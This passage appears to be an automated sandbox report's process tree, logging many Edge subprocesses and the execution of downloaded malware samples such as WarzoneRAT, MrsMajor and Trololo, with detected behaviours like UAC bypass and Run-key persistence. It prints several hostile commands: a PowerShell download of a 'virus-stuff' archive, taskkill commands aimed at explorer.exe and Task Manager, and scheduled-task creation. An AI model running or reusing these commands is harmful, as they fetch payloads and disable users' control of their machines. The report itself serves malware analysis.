  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=84 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=9052 /prefetch:1
  2⤵
  PID:3164
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=85 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=10952 /prefetch:1
  2⤵
  PID:2336
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=86 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6048 /prefetch:1
  2⤵
  PID:4680
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=87 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7428 /prefetch:1
  2⤵
  PID:1972
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=88 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7144 /prefetch:1
  2⤵
  PID:3612
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=89 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8588 /prefetch:1
  2⤵
  PID:5356
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=90 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=9888 /prefetch:1
  2⤵
  PID:8176
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=91 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4832 /prefetch:1
  2⤵
  PID:1464
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=92 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=9136 /prefetch:1
  2⤵
  PID:6304
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=93 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5840 /prefetch:1
  2⤵
  PID:6240
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=94 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5844 /prefetch:1
  2⤵
  PID:7020
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --gpu-preferences=SAAAAAAAAADoAAAwAAAAAAAAAAAAAAAAAABgAAAQAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1020 /prefetch:2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:5008
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=5348 /prefetch:8
  2⤵
  PID:6848
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=97 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8608 /prefetch:1
  2⤵
  PID:1360
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=98 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7800 /prefetch:1
  2⤵
  PID:5188
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=7324 /prefetch:8
  2⤵
  PID:7132
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=101 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5700 /prefetch:1
  2⤵
  PID:4580
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=3272 /prefetch:8
  2⤵
  PID:8000
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3868 /prefetch:8
  2⤵
  - Subvert Trust Controls: Mark-of-the-Web Bypass
  - NTFS ADS
  - Suspicious behavior: EnumeratesProcesses
  PID:2360
- C:\Users\Admin\Downloads\robux.exe
  "C:\Users\Admin\Downloads\robux.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:7656
- - C:\Windows\system32\cmd.exe
    "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\754.tmp\755.tmp\756.bat C:\Users\Admin\Downloads\robux.exe"
    3⤵
    PID:7660
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Invoke-WebRequest https://github.com/astrohnugget/virus-stuff/archive/refs/heads/main.zip -outfile robux2.zip"
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:8020
  - - C:\Windows\system32\timeout.exe
      timeout /t 10 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:1064
- C:\Users\Admin\Downloads\robux.exe
  "C:\Users\Admin\Downloads\robux.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:6416
- - C:\Windows\system32\cmd.exe
    "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\4B52.tmp\4B53.tmp\4B54.bat C:\Users\Admin\Downloads\robux.exe"
    3⤵
    PID:3444
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Invoke-WebRequest https://github.com/astrohnugget/virus-stuff/archive/refs/heads/main.zip -outfile robux2.zip"
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4716
- C:\Users\Admin\Downloads\robux.exe
  "C:\Users\Admin\Downloads\robux.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:5820
- - C:\Windows\system32\cmd.exe
    "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\6DBF.tmp\6DC0.tmp\6DC1.bat C:\Users\Admin\Downloads\robux.exe"
    3⤵
    PID:4704
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Invoke-WebRequest https://github.com/astrohnugget/virus-stuff/archive/refs/heads/main.zip -outfile robux2.zip"
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1436
  - - C:\Windows\system32\timeout.exe
      timeout /t 10 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:7840
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=104 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3084 /prefetch:1
  2⤵
  PID:5408
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=105 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8592 /prefetch:1
  2⤵
  PID:7904
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=107 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5316 /prefetch:1
  2⤵
  PID:4896
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=109 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5200 /prefetch:1
  2⤵
  PID:4932
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5272 /prefetch:8
  2⤵
  PID:7456
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=112 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=12044 /prefetch:1
  2⤵
  PID:3916
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=11752 /prefetch:8
  2⤵
  PID:7784
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6308 /prefetch:8
  2⤵
  - Subvert Trust Controls: Mark-of-the-Web Bypass
  - NTFS ADS
  - Suspicious behavior: EnumeratesProcesses
  PID:5236
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=9892 /prefetch:8
  2⤵
  PID:4744
- C:\Users\Admin\Downloads\Trololo.exe
  "C:\Users\Admin\Downloads\Trololo.exe"
  2⤵
  - Executes dropped EXE
  PID:6680
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill.exe /f /im explorer.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:232
- - C:\Windows\SYSTEM32\taskkill.exe
    taskkill.exe /f /im taskmgr.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5444
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=10256 /prefetch:8
  2⤵
  - Subvert Trust Controls: Mark-of-the-Web Bypass
  - NTFS ADS
  - Suspicious behavior: EnumeratesProcesses
  PID:2900
- C:\Users\Admin\Downloads\Vista.exe
  "C:\Users\Admin\Downloads\Vista.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:7352
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=10900 /prefetch:8
  2⤵
  - Subvert Trust Controls: Mark-of-the-Web Bypass
  - NTFS ADS
  - Suspicious behavior: EnumeratesProcesses
  PID:5256
- C:\Users\Admin\Downloads\MrsMajor3.0.exe
  "C:\Users\Admin\Downloads\MrsMajor3.0.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:3320
- - C:\Windows\system32\wscript.exe
    "C:\Windows\system32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\523E.tmp\523F.tmp\5240.vbs //Nologo
    3⤵
    - UAC bypass
    - System policy modification
    PID:5364
  - - C:\Users\Admin\AppData\Local\Temp\523E.tmp\eulascr.exe
      "C:\Users\Admin\AppData\Local\Temp\523E.tmp\eulascr.exe"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:6616
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=119 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4480 /prefetch:1
  2⤵
  PID:5220
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=1784 /prefetch:8
  2⤵
  PID:6520
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=9928 /prefetch:8
  2⤵
  - Subvert Trust Controls: Mark-of-the-Web Bypass
  - NTFS ADS
  - Suspicious behavior: EnumeratesProcesses
  PID:1788
- C:\Users\Admin\Downloads\Alerta.exe
  "C:\Users\Admin\Downloads\Alerta.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:3860
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=123 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8952 /prefetch:1
  2⤵
  PID:6092
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=7412 /prefetch:8
  2⤵
  PID:1240
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=11676 /prefetch:8
  2⤵
  - Subvert Trust Controls: Mark-of-the-Web Bypass
  - NTFS ADS
  - Suspicious behavior: EnumeratesProcesses
  PID:6036
- C:\Users\Admin\Downloads\FreeYoutubeDownloader.exe
  "C:\Users\Admin\Downloads\FreeYoutubeDownloader.exe"
  2⤵
  - Executes dropped EXE
  - Adds Run key to start application
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  PID:7932
- - C:\Windows\Free Youtube Downloader\Free Youtube Downloader\Free YouTube Downloader.exe
    "C:\Windows\Free Youtube Downloader\Free Youtube Downloader\Free YouTube Downloader.exe"
    3⤵
    - Executes dropped EXE
    PID:1532
  - - C:\Windows\Free Youtube Downloader\Free Youtube Downloader\Box.exe
      "C:\Windows\Free Youtube Downloader\Free Youtube Downloader\Box.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:2964
  - - C:\Windows\Free Youtube Downloader\Free Youtube Downloader\Box.exe
      "C:\Windows\Free Youtube Downloader\Free Youtube Downloader\Box.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:8028
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=127 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=11824 /prefetch:1
  2⤵
  PID:6904
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5048 /prefetch:8
  2⤵
  PID:2460
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=10924 /prefetch:8
  2⤵
  - Subvert Trust Controls: Mark-of-the-Web Bypass
  - NTFS ADS
  - Suspicious behavior: EnumeratesProcesses
  PID:7092
- C:\Users\Admin\Downloads\WarzoneRAT.exe
  "C:\Users\Admin\Downloads\WarzoneRAT.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - NTFS ADS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5560
- - C:\Windows\SysWOW64\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\jFvfxe" /XML "C:\Users\Admin\AppData\Local\Temp\tmpAD74.tmp"
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:5380
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    PID:684
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5040
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=131 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6088 /prefetch:1
  2⤵
  PID:3520
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=4848 /prefetch:8
  2⤵
  PID:8168
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3768 /prefetch:8
  2⤵
  - Subvert Trust Controls: Mark-of-the-Web Bypass
  - NTFS ADS
  - Suspicious behavior: EnumeratesProcesses
  PID:5492
- C:\Users\Admin\Downloads\YouAreAnIdiot.exe
  "C:\Users\Admin\Downloads\YouAreAnIdiot.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:3140
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3140 -s 1228
    3⤵
    - Program crash
    PID:3580
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=135 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1676 /prefetch:1
  2⤵
  PID:6600
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=9896 /prefetch:8
  2⤵
  PID:3148
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5276 /prefetch:8
  2⤵
  - Subvert Trust Controls: Mark-of-the-Web Bypass
  - NTFS ADS
  - Suspicious behavior: EnumeratesProcesses
  PID:1708
- C:\Users\Admin\Downloads\CookieClickerHack.exe
  "C:\Users\Admin\Downloads\CookieClickerHack.exe"
  2⤵
  - Executes dropped EXE
  PID:4484
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=139 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5300 /prefetch:1
  2⤵
  PID:720
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=2340 /prefetch:8
  2⤵
  PID:6972
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=9676 /prefetch:8
  2⤵
  - Subvert Trust Controls: Mark-of-the-Web Bypass
  - NTFS ADS
  - Suspicious behavior: EnumeratesProcesses
  PID:1884
- C:\Users\Admin\Downloads\Popup.exe
  "C:\Users\Admin\Downloads\Popup.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:6936
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=143 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2340 /prefetch:1
  2⤵
  PID:8060
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=1380 /prefetch:8
  2⤵
  PID:6172
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=7728 /prefetch:8
  2⤵
  - Subvert Trust Controls: Mark-of-the-Web Bypass
  - NTFS ADS
  - Suspicious behavior: EnumeratesProcesses
  PID:6024
- C:\Users\Admin\Downloads\Hydra.exe
  "C:\Users\Admin\Downloads\Hydra.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
